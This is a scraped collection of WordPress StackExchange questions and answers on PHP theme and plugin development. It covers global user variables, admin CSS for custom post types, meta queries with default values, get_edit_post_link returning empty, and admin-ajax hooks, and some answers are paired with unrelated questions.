[ "https://wordpress.stackexchange.com/questions/291169", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/104464/" ]
``` $category = get_category( get_query_var( 'cat' ) ); $child_cats = (array) get_term_children( $category , 'category' ); wp_list_categories( array( 'exclude' => $child_cats ) ); ``` Is it possible to exclude all child categories? Update : I tried this also but it doesn't work. ``` $categories = get_categories( array( 'childless' => true, ) ); $child_cats = (array) get_term_children( $categories, 'category' ); $cats = wp_list_categories( array( 'exclude' => $child_cats ) ); ``` Edit 2 : I preferably would like this to work with [get\_the\_category\_list](https://codex.wordpress.org/Function_Reference/get_the_category_list)
Yes. In your `functions.php` file, add something like the following: ``` function my_post_header_function() { if( is_single() ) { // Your Code Goes Here } } add_action( 'wp_head', 'my_post_header_function' ); ``` What this will do is execute this when `wp_head()` is fired. It will see if you're on a single post (NOTE: This will *not* work on pages or attachments) and if you are, it will execute the code you want to put.
291,181
<p>I used following code </p> <pre><code>function userinfo_global() { global $users_info; wp_get_current_user(); } add_action( 'init', 'userinfo_global' ); </code></pre> <p>in a file <code>users.php</code> , this file are call in inside <code>funtions.php</code>.</p> <p>in template file I have <code>&lt;?php echo $users_info-&gt;user_firstname; ?&gt;</code> , but no working.. </p> <p>I want to do global <code>wp_get_current_user();</code></p> <p>You know why?</p>
[ { "answer_id": 291182, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 4, "selected": true, "text": "<p>You'll also have to fill the variable, e.g.</p>\n\n<pre><code>function userinfo_global() {\n global $users_info;\n $users_info = wp_get_current_user();\n}\nadd_action( 'init', 'userinfo_global' );\n</code></pre>\n\n<p>And you should then be able to use $users_info everywhere in global context. Keep in mind that some template pars (header.php, footer.php, those used via <code>get_template_part</code>) are not in global scope by default, so you'll have to use <code>global $users_info;</code> in those files before accessing the variable.</p>\n" }, { "answer_id": 291214, "author": "Peter HvD", "author_id": 134918, "author_profile": "https://wordpress.stackexchange.com/users/134918", "pm_score": 2, "selected": false, "text": "<p><code>wp_get_current_user()</code> is already a global function predefined by WordPress. Since you'd have to add <code>global $users_info;</code> to your templates to make sure that you always have the global variable, you might just as well have <code>$users_info = wp_get_current_user();</code> in its place.</p>\n" } ]
2018/01/16
[ "https://wordpress.stackexchange.com/questions/291181", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129093/" ]
I used following code ``` function userinfo_global() { global $users_info; wp_get_current_user(); } add_action( 'init', 'userinfo_global' ); ``` in a file `users.php` , this file are call in inside `funtions.php`. in template file I have `<?php echo $users_info->user_firstname; ?>` , but no working.. I want to do global `wp_get_current_user();` You know why?
You'll also have to fill the variable, e.g. ``` function userinfo_global() { global $users_info; $users_info = wp_get_current_user(); } add_action( 'init', 'userinfo_global' ); ``` And you should then be able to use $users\_info everywhere in global context. Keep in mind that some template pars (header.php, footer.php, those used via `get_template_part`) are not in global scope by default, so you'll have to use `global $users_info;` in those files before accessing the variable.
291,229
<p>I have a Custom Post Type Called <code>SlidersCPT</code> as I register the CPT like</p> <pre><code>register_post_type( 'SlidersCPT', $args ); </code></pre> <p>and I need to apply some CSS rules on admin page <strong>only</strong> when creating New SlidersCPT custom Post Type. I thought this might help:</p> <pre><code>if(get_post_type() == 'SlidersCPT') {} </code></pre> <p>but as you can see it just controlling the page of Custopm Post Type not the Admin area.</p> <p>what I want to do is controlling css of page if it is in admin page of creating a custom post type</p> <pre><code>function hide_editor() { if(get_post_type() == 'SlidersCPT') { ?&gt; &lt;style&gt; #insert-media-button { display: none !important; } &lt;/style&gt; &lt;?php } } </code></pre>
[ { "answer_id": 291233, "author": "Max Yudin", "author_id": 11761, "author_profile": "https://wordpress.stackexchange.com/users/11761", "pm_score": 0, "selected": false, "text": "<p>The URL of the admin Add screen looks like this:</p>\n\n<pre><code>https://example.com/wp-admin/post-new.php?post_type=SlidersCPT\n</code></pre>\n\n<p>So, check the query string (superglobal <code>$_GET</code>) for the post type you try to add:</p>\n\n<pre><code>&lt;?php\nfunction hide_editor() { \n if( isset( $_GET['post_type'] ) &amp;&amp; 'SlidersCPT' == $_GET['post_type'] ) {\n?&gt;\n &lt;style&gt;\n #insert-media-button { display: none !important; }\n &lt;/style&gt;\n&lt;?php\n }\n}\n?&gt;\n</code></pre>\n\n<p><strong>More:</strong></p>\n\n<p>As CSS is easily tweakable in any modern browser, instead of hiding you can completely remove Add Media button, for example for users with Author capabilities and lower:</p>\n\n<pre><code>&lt;?php\nfunction remove_add_media_button(){\n // Check if user is not Author, but Editor or higher\n if( !current_user_can( 'manage_categories' ) ) {\n remove_action( 'media_buttons', 'media_buttons' );\n }\n}\n\nif( isset( $_GET['post_type'] ) &amp;&amp; 'SlidersCPT' == $_GET['post_type'] ) {\n add_action('admin_head', 'remove_add_media_button');\n}\n</code></pre>\n" }, { "answer_id": 291234, "author": "apavliukov", "author_id": 92226, "author_profile": "https://wordpress.stackexchange.com/users/92226", "pm_score": 2, "selected": false, "text": "<p>You can use this code:</p>\n\n<pre><code>add_action( 'admin_enqueue_scripts', 'load_admin_style' );\nfunction load_admin_style() {\n global $pagenow;\n\n if ( 'post.php' === $pagenow &amp;&amp; isset($_GET['post']) &amp;&amp; 'YOURPOSTTYPE' === get_post_type( $_GET['post'] ) ) {\n wp_enqueue_style( 'admin_css', get_template_directory_uri() . '/admin-style.css', false, '1.0.0' );\n }\n}\n</code></pre>\n" } ]
2018/01/16
[ "https://wordpress.stackexchange.com/questions/291229", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/35444/" ]
I have a Custom Post Type Called `SlidersCPT` as I register the CPT like ``` register_post_type( 'SlidersCPT', $args ); ``` and I need to apply some CSS rules on admin page **only** when creating New SlidersCPT custom Post Type. I thought this might help: ``` if(get_post_type() == 'SlidersCPT') {} ``` but as you can see it just controlling the page of Custopm Post Type not the Admin area. what I want to do is controlling css of page if it is in admin page of creating a custom post type ``` function hide_editor() { if(get_post_type() == 'SlidersCPT') { ?> <style> #insert-media-button { display: none !important; } </style> <?php } } ```
You can use this code: ``` add_action( 'admin_enqueue_scripts', 'load_admin_style' ); function load_admin_style() { global $pagenow; if ( 'post.php' === $pagenow && isset($_GET['post']) && 'YOURPOSTTYPE' === get_post_type( $_GET['post'] ) ) { wp_enqueue_style( 'admin_css', get_template_directory_uri() . '/admin-style.css', false, '1.0.0' ); } } ```
291,261
<p>I have custom wp_query used in buddypress to list all posts of the author (taken from the profile user currently visits). I tried to follow other topics but I'm failing miserably. </p> <p>Code below: </p> <pre><code> ?php // Display posts in user profile // Construct new user profile tab add_action( 'bp_setup_nav', 'add_profileposts_tab', 100 ); function add_profileposts_tab() { global $bp; bp_core_new_nav_item( array( 'name' =&gt; 'Publikacje', 'slug' =&gt; 'publikacje', 'screen_function' =&gt; 'bp_postsonprofile', 'default_subnav_slug' =&gt; 'Moje publikacje', 'position' =&gt; 35 ) ); } // show 'Posts' tab once clicked function bp_postsonprofile() { add_action( 'bp_template_content', 'profile_screen_posts_show' ); bp_core_load_template( apply_filters( 'bp_core_template_plugin', 'members/single/plugins' ) ); } // query the loop and get the template function profile_screen_posts_show() { $user_id = bp_displayed_user_id(); $paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1; $query = new WP_Query( 'author=' . $user_id ); ? ?php if ( $query-&gt;have_posts() ) : ? ?php while ( $query-&gt;have_posts() ): $query-&gt;the_post(); ? &lt;div id="post-&lt;?php the_ID(); ?&gt; blog_list" &lt;?php post_class(); ?&gt;&gt; &lt;div class="container-wrapper blog-list"&gt; &lt;div class="post-tittle"&gt;&lt;h2 class="posttitle"&gt; &lt;a href="&lt;?php the_permalink(); ?&gt;" rel="bookmark" title="&lt;?php the_title_attribute(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt; &lt;/h2&gt;&lt;/div&gt; &lt;/br&gt; &lt;div class="post-wrapper"&gt; &lt;div class="miniaturka post-left"&gt; ?php if ( function_exists( 'has_post_thumbnail' ) &amp;&amp; has_post_thumbnail( get_the_ID() ) ):? &lt;div class="post-featured-image left"&gt; &lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_post_thumbnail('medium');?&gt;&lt;/a&gt; &lt;/div&gt; ?php endif;? &lt;/div&gt; &lt;div class="post-content post-right"&gt; &lt;p class="author class"&gt;&lt;?php echo get_the_date(); ?&gt;&lt;/br&gt;&lt;?php printf(get_the_category_list( ', ' ) ); ?&gt;&lt;/p&gt; &lt;/br&gt; &lt;div class="entry"&gt; &lt;?php the_excerpt(); ?&gt; &lt;span class="comments"&gt;&lt;?php comments_popup_link(); ?&gt;&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; ?php endwhile; ? ?php else: ? ?php wp_reset_query(); ? &lt;div id="message" class="info"&gt; &lt;p&gt;&lt;?php bp_displayed_user_username(); ?&gt; jeszcze niczego nie napisał &lt;/p&gt; &lt;/div&gt; ?php endif; wp_reset_postdata();? ?php } ? </code></pre> <p>I tried using (sorry for awful formatting):</p> <pre><code>$query = new WP_Query(array('author='=&gt;$user_id, 'posts_per_page'=&gt;20, 'paged'=&gt;$paged)); </code></pre> <p>But while it works (without pagination, of course) I get it listing ALL posts, no matter the author. What I am doing wrong (other than being super bad at this)? </p>
[ { "answer_id": 291233, "author": "Max Yudin", "author_id": 11761, "author_profile": "https://wordpress.stackexchange.com/users/11761", "pm_score": 0, "selected": false, "text": "<p>The URL of the admin Add screen looks like this:</p>\n\n<pre><code>https://example.com/wp-admin/post-new.php?post_type=SlidersCPT\n</code></pre>\n\n<p>So, check the query string (superglobal <code>$_GET</code>) for the post type you try to add:</p>\n\n<pre><code>&lt;?php\nfunction hide_editor() { \n if( isset( $_GET['post_type'] ) &amp;&amp; 'SlidersCPT' == $_GET['post_type'] ) {\n?&gt;\n &lt;style&gt;\n #insert-media-button { display: none !important; }\n &lt;/style&gt;\n&lt;?php\n }\n}\n?&gt;\n</code></pre>\n\n<p><strong>More:</strong></p>\n\n<p>As CSS is easily tweakable in any modern browser, instead of hiding you can completely remove Add Media button, for example for users with Author capabilities and lower:</p>\n\n<pre><code>&lt;?php\nfunction remove_add_media_button(){\n // Check if user is not Author, but Editor or higher\n if( !current_user_can( 'manage_categories' ) ) {\n remove_action( 'media_buttons', 'media_buttons' );\n }\n}\n\nif( isset( $_GET['post_type'] ) &amp;&amp; 'SlidersCPT' == $_GET['post_type'] ) {\n add_action('admin_head', 'remove_add_media_button');\n}\n</code></pre>\n" }, { "answer_id": 291234, "author": "apavliukov", "author_id": 92226, "author_profile": "https://wordpress.stackexchange.com/users/92226", "pm_score": 2, "selected": false, "text": "<p>You can use this code:</p>\n\n<pre><code>add_action( 'admin_enqueue_scripts', 'load_admin_style' );\nfunction load_admin_style() {\n global $pagenow;\n\n if ( 'post.php' === $pagenow &amp;&amp; isset($_GET['post']) &amp;&amp; 'YOURPOSTTYPE' === get_post_type( $_GET['post'] ) ) {\n wp_enqueue_style( 'admin_css', get_template_directory_uri() . '/admin-style.css', false, '1.0.0' );\n }\n}\n</code></pre>\n" } ]
2018/01/16
[ "https://wordpress.stackexchange.com/questions/291261", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/132331/" ]
I have custom wp\_query used in buddypress to list all posts of the author (taken from the profile user currently visits). I tried to follow other topics but I'm failing miserably. Code below: ``` ?php // Display posts in user profile // Construct new user profile tab add_action( 'bp_setup_nav', 'add_profileposts_tab', 100 ); function add_profileposts_tab() { global $bp; bp_core_new_nav_item( array( 'name' => 'Publikacje', 'slug' => 'publikacje', 'screen_function' => 'bp_postsonprofile', 'default_subnav_slug' => 'Moje publikacje', 'position' => 35 ) ); } // show 'Posts' tab once clicked function bp_postsonprofile() { add_action( 'bp_template_content', 'profile_screen_posts_show' ); bp_core_load_template( apply_filters( 'bp_core_template_plugin', 'members/single/plugins' ) ); } // query the loop and get the template function profile_screen_posts_show() { $user_id = bp_displayed_user_id(); $paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1; $query = new WP_Query( 'author=' . $user_id ); ? ?php if ( $query->have_posts() ) : ? ?php while ( $query->have_posts() ): $query->the_post(); ? <div id="post-<?php the_ID(); ?> blog_list" <?php post_class(); ?>> <div class="container-wrapper blog-list"> <div class="post-tittle"><h2 class="posttitle"> <a href="<?php the_permalink(); ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a> </h2></div> </br> <div class="post-wrapper"> <div class="miniaturka post-left"> ?php if ( function_exists( 'has_post_thumbnail' ) && has_post_thumbnail( get_the_ID() ) ):? <div class="post-featured-image left"> <a href="<?php the_permalink(); ?>"><?php the_post_thumbnail('medium');?></a> </div> ?php endif;? </div> <div class="post-content post-right"> <p class="author class"><?php echo get_the_date(); ?></br><?php printf(get_the_category_list( ', ' ) ); ?></p> </br> <div class="entry"> <?php the_excerpt(); ?> <span class="comments"><?php comments_popup_link(); ?></span> </div> </div> </div> </div> </div> ?php endwhile; ? ?php else: ? ?php wp_reset_query(); ? <div id="message" class="info"> <p><?php bp_displayed_user_username(); ?> jeszcze niczego nie napisał </p> </div> ?php endif; wp_reset_postdata();? ?php } ? ``` I tried using (sorry for awful formatting): ``` $query = new WP_Query(array('author='=>$user_id, 'posts_per_page'=>20, 'paged'=>$paged)); ``` But while it works (without pagination, of course) I get it listing ALL posts, no matter the author. What I am doing wrong (other than being super bad at this)?
You can use this code: ``` add_action( 'admin_enqueue_scripts', 'load_admin_style' ); function load_admin_style() { global $pagenow; if ( 'post.php' === $pagenow && isset($_GET['post']) && 'YOURPOSTTYPE' === get_post_type( $_GET['post'] ) ) { wp_enqueue_style( 'admin_css', get_template_directory_uri() . '/admin-style.css', false, '1.0.0' ); } } ```
291,268
<p><a href="https://i.stack.imgur.com/cydDR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cydDR.png" alt="enter image description here"></a></p> <p>As you can see, WooCommerce's State fields use select field.</p> <p>But, I just want user enter State directly!</p> <p>How can I do this?</p>
[ { "answer_id": 291505, "author": "Dharmishtha Patel", "author_id": 135085, "author_profile": "https://wordpress.stackexchange.com/users/135085", "pm_score": 0, "selected": false, "text": "<pre><code>$('#billing_address_1').removeAttr('disabled');\n</code></pre>\n" }, { "answer_id": 291506, "author": "Dharmishtha Patel", "author_id": 135085, "author_profile": "https://wordpress.stackexchange.com/users/135085", "pm_score": 1, "selected": false, "text": "<p>Add this to your functions.php</p>\n\n<p>Simply add this code to your functions file and your WooCommerce will now use standard drop downs.</p>\n\n<pre><code>add_action( 'wp_enqueue_scripts', 'agentwp_dequeue_stylesandscripts', 100 );\nfunction agentwp_dequeue_stylesandscripts() {\nif ( class_exists( 'woocommerce' ) ) {\nwp_dequeue_style( 'select2' );\nwp_deregister_style( 'select2' );\nwp_dequeue_script( 'select2');\nwp_deregister_script('select2');\n}\n}\n</code></pre>\n" } ]
2018/01/17
[ "https://wordpress.stackexchange.com/questions/291268", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/136439/" ]
[![enter image description here](https://i.stack.imgur.com/cydDR.png)](https://i.stack.imgur.com/cydDR.png) As you can see, WooCommerce's State fields use select field. But, I just want user enter State directly! How can I do this?
Add this to your functions.php Simply add this code to your functions file and your WooCommerce will now use standard drop downs. ``` add_action( 'wp_enqueue_scripts', 'agentwp_dequeue_stylesandscripts', 100 ); function agentwp_dequeue_stylesandscripts() { if ( class_exists( 'woocommerce' ) ) { wp_dequeue_style( 'select2' ); wp_deregister_style( 'select2' ); wp_dequeue_script( 'select2'); wp_deregister_script('select2'); } } ```
291,288
<p>I have created custom fields for posts by using the add_meta_box action. I want to create my own WP Query based on my custom field, to make sure I will only load a post collection with the correct data. If I add a new field, the post doesn't automatically have a value for my custom field. So I am not able to load the proper collection without manually saving all the posts. I've got over 1200 posts, so it's going to be really difficult to change them all and set the value in the database.</p> <p>The field which I created should be automatically set on "true". If the field is true, I will show the posts on a specific page. I currently want all posts I have to be shown on that page, so all 1200 posts should be loaded. In the future the posts will be sorted out and some posts should not be shown on the homepage.</p> <p>I created the field using the add_meta_boxes action. Showing the field, editing the field and saving the field works properly.</p> <pre><code>/** * Add Meta Box to post */ if(!function_exists('theme_settings_add_post_meta_box')) { function theme_settings_add_post_meta_box() { $screens = array('post'); foreach ($screens as $screen) { add_meta_box( 'theme_settings_section_slider', __('Homepage Slider', 'slidedata'), 'theme_settings_section_slider_callback', $screen, 'normal', 'high' ); } } } </code></pre> <p>I have created the form elements in the function "theme_settings_section_slider_callback". I have copied the custom field which I want to filter by:</p> <pre><code>$showPost = 'theme_settings_post_show'; &lt;?php /** Show post on frontend */ ?&gt; &lt;label for="&lt;?php echo $showPost ?&gt;"&gt;&lt;?php _e('Show post on homepage') ?&gt;&lt;/label&gt; &lt;br /&gt; &lt;select style="margin-bottom: 20px" name="&lt;?php echo $showPost ?&gt;" id="&lt;?php echo $showPost ?&gt;"&gt; &lt;option value="false" &lt;?php echo get_post_meta($object-&gt;ID, $showPost, true) == 'false' ? '' : 'selected' ?&gt;&gt;No&lt;/option&gt; &lt;option value="true" &lt;?php echo get_post_meta($object-&gt;ID, $showPost, true) != 'false' ? 'selected' : '' ?&gt;&gt;Yes&lt;/option&gt; &lt;/select&gt; </code></pre> <p>Save function (which also works fine)</p> <pre><code>if(!function_exists('theme_settings_save_post_meta_box')) { function theme_settings_save_post_meta_box($post_id, $post) { // Add a check if this account has permission to save, maybe? ..... $data['show_post'] = 'theme_settings_post_show'; foreach($data as $item) { if(isset($_POST[$item])) { $value = $_POST[$item]; update_post_meta($post_id, $item, $value); } } } } </code></pre> <p>The field logic works just fine. This is the query I use to show the posts based on the field "theme_settings_post_show":</p> <pre><code>//Get all posts which have to be shown on the homepage if(!function_exists('getPosts')) { function getPosts() { //$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1; //Query arguments $queryArguments = array( 'posts_per_page' =&gt; -1, 'post_type' =&gt; 'post', 'meta_key' =&gt; 'theme_settings_post_show', 'meta_value' =&gt; 'true' ); $postsQuery = new WP_Query($queryArguments); if($postsQuery-&gt;have_posts()) { return $postsQuery; } return false; } } </code></pre> <p>As you can expect, the field "theme_settings_post_show" is not set for any post yet, so I'm not retrieving any post with my function "getPost". I have also tried filtering by meta_value null, but that doesn't work.</p> <p>So, my question is: How can I create a field which automatically has a default value for all posts? Or am I forced to create some sort of script which loops through all posts and set the data automatically? Or am I using a wrong method to add the fields to the post?</p>
[ { "answer_id": 291292, "author": "Max Yudin", "author_id": 11761, "author_profile": "https://wordpress.stackexchange.com/users/11761", "pm_score": 3, "selected": true, "text": "<p>Try <code>meta_query</code> to get posts having <code>theme_settings_post_show == true</code> (for new posts) and <code>theme_settings_post_show</code> not set at all (for old posts):</p>\n\n<pre><code>&lt;?php\n$queryArguments = array(\n 'posts_per_page' =&gt; -1,\n 'post_type' =&gt; 'post',\n 'meta_query' =&gt; array(\n 'relation' =&gt; 'OR', // value is not set or true\n array(\n 'key' =&gt; 'theme_settings_post_show',\n 'value' =&gt; '', // can be any value, since it does not exists\n 'compare' =&gt; 'NOT EXISTS',\n ),\n array(\n 'key' =&gt; 'theme_settings_post_show',\n 'value' =&gt; true,\n 'compare' =&gt; '=',\n ),\n ),\n);\n</code></pre>\n" }, { "answer_id": 291316, "author": "D. Dan", "author_id": 133528, "author_profile": "https://wordpress.stackexchange.com/users/133528", "pm_score": 0, "selected": false, "text": "<p>Advanced Custom Fields plugin also has a true/false type of field, which you can add to specific posts, post types pages and so on, and you can also define the default value.</p>\n\n<p>But this would only work on newly added posts.</p>\n" } ]
2018/01/17
[ "https://wordpress.stackexchange.com/questions/291288", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/135022/" ]
I have created custom fields for posts by using the add\_meta\_box action. I want to create my own WP Query based on my custom field, to make sure I will only load a post collection with the correct data. If I add a new field, the post doesn't automatically have a value for my custom field. So I am not able to load the proper collection without manually saving all the posts. I've got over 1200 posts, so it's going to be really difficult to change them all and set the value in the database. The field which I created should be automatically set on "true". If the field is true, I will show the posts on a specific page. I currently want all posts I have to be shown on that page, so all 1200 posts should be loaded. In the future the posts will be sorted out and some posts should not be shown on the homepage. I created the field using the add\_meta\_boxes action. Showing the field, editing the field and saving the field works properly. ``` /** * Add Meta Box to post */ if(!function_exists('theme_settings_add_post_meta_box')) { function theme_settings_add_post_meta_box() { $screens = array('post'); foreach ($screens as $screen) { add_meta_box( 'theme_settings_section_slider', __('Homepage Slider', 'slidedata'), 'theme_settings_section_slider_callback', $screen, 'normal', 'high' ); } } } ``` I have created the form elements in the function "theme\_settings\_section\_slider\_callback". I have copied the custom field which I want to filter by: ``` $showPost = 'theme_settings_post_show'; <?php /** Show post on frontend */ ?> <label for="<?php echo $showPost ?>"><?php _e('Show post on homepage') ?></label> <br /> <select style="margin-bottom: 20px" name="<?php echo $showPost ?>" id="<?php echo $showPost ?>"> <option value="false" <?php echo get_post_meta($object->ID, $showPost, true) == 'false' ? '' : 'selected' ?>>No</option> <option value="true" <?php echo get_post_meta($object->ID, $showPost, true) != 'false' ? 'selected' : '' ?>>Yes</option> </select> ``` Save function (which also works fine) ``` if(!function_exists('theme_settings_save_post_meta_box')) { function theme_settings_save_post_meta_box($post_id, $post) { // Add a check if this account has permission to save, maybe? ..... $data['show_post'] = 'theme_settings_post_show'; foreach($data as $item) { if(isset($_POST[$item])) { $value = $_POST[$item]; update_post_meta($post_id, $item, $value); } } } } ``` The field logic works just fine. This is the query I use to show the posts based on the field "theme\_settings\_post\_show": ``` //Get all posts which have to be shown on the homepage if(!function_exists('getPosts')) { function getPosts() { //$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1; //Query arguments $queryArguments = array( 'posts_per_page' => -1, 'post_type' => 'post', 'meta_key' => 'theme_settings_post_show', 'meta_value' => 'true' ); $postsQuery = new WP_Query($queryArguments); if($postsQuery->have_posts()) { return $postsQuery; } return false; } } ``` As you can expect, the field "theme\_settings\_post\_show" is not set for any post yet, so I'm not retrieving any post with my function "getPost". I have also tried filtering by meta\_value null, but that doesn't work. So, my question is: How can I create a field which automatically has a default value for all posts? Or am I forced to create some sort of script which loops through all posts and set the data automatically? Or am I using a wrong method to add the fields to the post?
Try `meta_query` to get posts having `theme_settings_post_show == true` (for new posts) and `theme_settings_post_show` not set at all (for old posts): ``` <?php $queryArguments = array( 'posts_per_page' => -1, 'post_type' => 'post', 'meta_query' => array( 'relation' => 'OR', // value is not set or true array( 'key' => 'theme_settings_post_show', 'value' => '', // can be any value, since it does not exists 'compare' => 'NOT EXISTS', ), array( 'key' => 'theme_settings_post_show', 'value' => true, 'compare' => '=', ), ), ); ```
291,297
<p>So inside my plugin I have the following code. It gets a question from a custom_post. I'm processing it here so that further updates can be done by AJAX/JSON and the page only has to be configured for one type of data source.</p> <pre><code>$observations = new WP_Query($args); if ( $observations-&gt; have_posts() ) : $questionpost = $observations-&gt;posts[0]; $question = array ( 'id' =&gt; $questionpost-&gt;ID, 'title' =&gt; $questionpost-&gt;post_title, 'name' =&gt; $questionpost-&gt;post_name, 'excerpt' =&gt; $questionpost-&gt;post_excerpt, 'content' =&gt; $questionpost-&gt;post_content, 'code' =&gt; get_post_meta( $questionpost-&gt;ID, 'code', true ), 'edit_link' =&gt; get_edit_post_link($questionpost-&gt;ID), ); if ( has_post_thumbnail($questionpost-&gt;ID) ) { $question['thumbnail'] = get_the_post_thumbnail( $questionpost-&gt;ID, 'full', array('class' =&gt; 'card-img-top')); } else { $question['thumbnail'] = get_template_directory_uri()."/img/no-image.png"; } print_r($question); } </code></pre> <p>It all works fine except for the get_edit_post_link - here is print_r dump:</p> <pre><code>Array ( [id] =&gt; 208 [title] =&gt; Main ... pipework. [name] =&gt; nr-60 [excerpt] =&gt; [content] =&gt; The ... external. [code] =&gt; NR [edit_link] =&gt; [thumbnail] =&gt; http://.../img/no-image.png ) </code></pre> <p><a href="https://codex.wordpress.org/Function_Reference/edit_post_link" rel="nofollow noreferrer">https://codex.wordpress.org/Function_Reference/edit_post_link</a> suggests we can pass an ID so I don't see why this is blank.</p>
[ { "answer_id": 291306, "author": "Peter HvD", "author_id": 134918, "author_profile": "https://wordpress.stackexchange.com/users/134918", "pm_score": 1, "selected": false, "text": "<p>This might be one of those times when certain functions work better as part of the loop. Although you're using a loop, you're not actually using the full WP loop functionality.</p>\n\n<p>Try adding <code>'posts_per_page'=&gt; 1</code> to your <code>$args</code> to get just the one post, and then replacing <code>$questionpost = $observations-&gt;posts[0];</code> with the missing loop construct, ie: <code>while($observations-&gt;have_posts()) : $observations-&gt;the_post();</code> (not forgetting the closing <code>endwhile;</code> of course). This will then allow you to use the normal in-loop functions (eg, <code>get_the_ID()</code>, <code>get_the_title()</code>, etc) and try using <code>get_edit_post_link()</code> without passing the ID to it.</p>\n" }, { "answer_id": 291310, "author": "Max Yudin", "author_id": 11761, "author_profile": "https://wordpress.stackexchange.com/users/11761", "pm_score": 3, "selected": true, "text": "<p>According to the <code>get_edit_post_link()</code> function <a href=\"https://developer.wordpress.org/reference/functions/get_edit_post_link/\" rel=\"nofollow noreferrer\">source</a> this can happen in following conditions:</p>\n\n<ul>\n<li>there is no such post;</li>\n<li>there is no such post type;</li>\n<li>you don't have enough permissions to edit the post;</li>\n<li><code>_edit_link</code> was changed during post type registration.</li>\n</ul>\n\n<p>The first two are not the case since the ID is available. The fourth is a bad practice: <em>not for general use — core developers <a href=\"https://codex.wordpress.org/Function_Reference/register_post_type#Parameters\" rel=\"nofollow noreferrer\">recommend</a> you don't use this when registering your own post type</em>.</p>\n\n<p>In this case, the user doesn't have enough permissions. According to the OP's comment under the question, he had been logged out, which is the same sort of thing.</p>\n" } ]
2018/01/17
[ "https://wordpress.stackexchange.com/questions/291297", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/65939/" ]
So inside my plugin I have the following code. It gets a question from a custom\_post. I'm processing it here so that further updates can be done by AJAX/JSON and the page only has to be configured for one type of data source. ``` $observations = new WP_Query($args); if ( $observations-> have_posts() ) : $questionpost = $observations->posts[0]; $question = array ( 'id' => $questionpost->ID, 'title' => $questionpost->post_title, 'name' => $questionpost->post_name, 'excerpt' => $questionpost->post_excerpt, 'content' => $questionpost->post_content, 'code' => get_post_meta( $questionpost->ID, 'code', true ), 'edit_link' => get_edit_post_link($questionpost->ID), ); if ( has_post_thumbnail($questionpost->ID) ) { $question['thumbnail'] = get_the_post_thumbnail( $questionpost->ID, 'full', array('class' => 'card-img-top')); } else { $question['thumbnail'] = get_template_directory_uri()."/img/no-image.png"; } print_r($question); } ``` It all works fine except for the get\_edit\_post\_link - here is print\_r dump: ``` Array ( [id] => 208 [title] => Main ... pipework. [name] => nr-60 [excerpt] => [content] => The ... external. [code] => NR [edit_link] => [thumbnail] => http://.../img/no-image.png ) ``` <https://codex.wordpress.org/Function_Reference/edit_post_link> suggests we can pass an ID so I don't see why this is blank.
According to the `get_edit_post_link()` function [source](https://developer.wordpress.org/reference/functions/get_edit_post_link/) this can happen in following conditions: * there is no such post; * there is no such post type; * you don't have enough permissions to edit the post; * `_edit_link` was changed during post type registration. The first two are not the case since the ID is available. The fourth is a bad practice: *not for general use — core developers [recommend](https://codex.wordpress.org/Function_Reference/register_post_type#Parameters) you don't use this when registering your own post type*. In this case, the user doesn't have enough permissions. According to the OP's comment under the question, he had been logged out, which is the same sort of thing.
291,301
<p>I've been working on ajax lately. The tutorials you find on the net are all very similar and quite easy to implement. But I always get a <strong>bad request 400</strong> on my <code>ajax-admin.php</code> file.</p> <p>After a long and intensive search, I have now found out that's because of the time of integration.</p> <p>If I use the <code>init</code> action hook to initialize script and <code>wp_localize_script</code>, everything works fine. So the code itself must be correct.</p> <p><em>my-page-test-functions.php</em></p> <pre><code>function ajax_login_init(){ wp_register_script('ajax-login-script',get_stylesheet_directory_uri().'/js/ajax-login-script.js',array('jquery')); wp_enqueue_script('ajax-login-script'); wp_localize_script('ajax-login-script','ajax_login_object',array('ajaxurl' =&gt; admin_url('admin-ajax.php'),'redirecturl' =&gt; 'REDIRECT_URL_HERE','loadingmessage' =&gt; __('Sending user info, please wait...'))); add_action('wp_ajax_nopriv_ajaxlogin','ajax_login'); } if(!is_user_logged_in()){ add_action('init','ajax_login_init'); } function ajax_login(){ //nonce-field is created on page check_ajax_referer('ajax-login-nonce','security'); //CODE die(); } </code></pre> <p>But if I use e.g. <code>wp_enqeue_scripts</code> action hook I always get the bad request.</p> <pre><code>if(!is_user_logged_in()){ add_action('wp_enqueue_scripts','ajax_login_init'); } </code></pre> <p>The problem with this is:</p> <p>I would like to have the functions in an extra php file and load them only if they are needed on a particular page. For this I need, for example <code>is_page()</code>. But <code>is_page()</code> works at the earliest when I hook the function with the include into the <code>parse_query</code> action hook:</p> <p><em>functions.php</em></p> <pre><code>function sw18_page_specific_functions(){ if(is_page('page-test')){ include_once dirname(__FILE__).'/includes/my-page-test-functions.php'; } } add_action('parse_query','sw18_page_specific_functions'); </code></pre> <p>So then functions hooked to <code>init</code> hook in <code>my-page-test-functions.php</code> file does not triggered, I suppose, because <code>init</code> comes before <code>parse_query</code>.</p> <p><strong>Is there a best practices to organize this, so it works? Or how can I fix the <code>admin-ajax.php</code> bad request when using the <code>wp_enqeue_scripts</code> action hook?</strong></p>
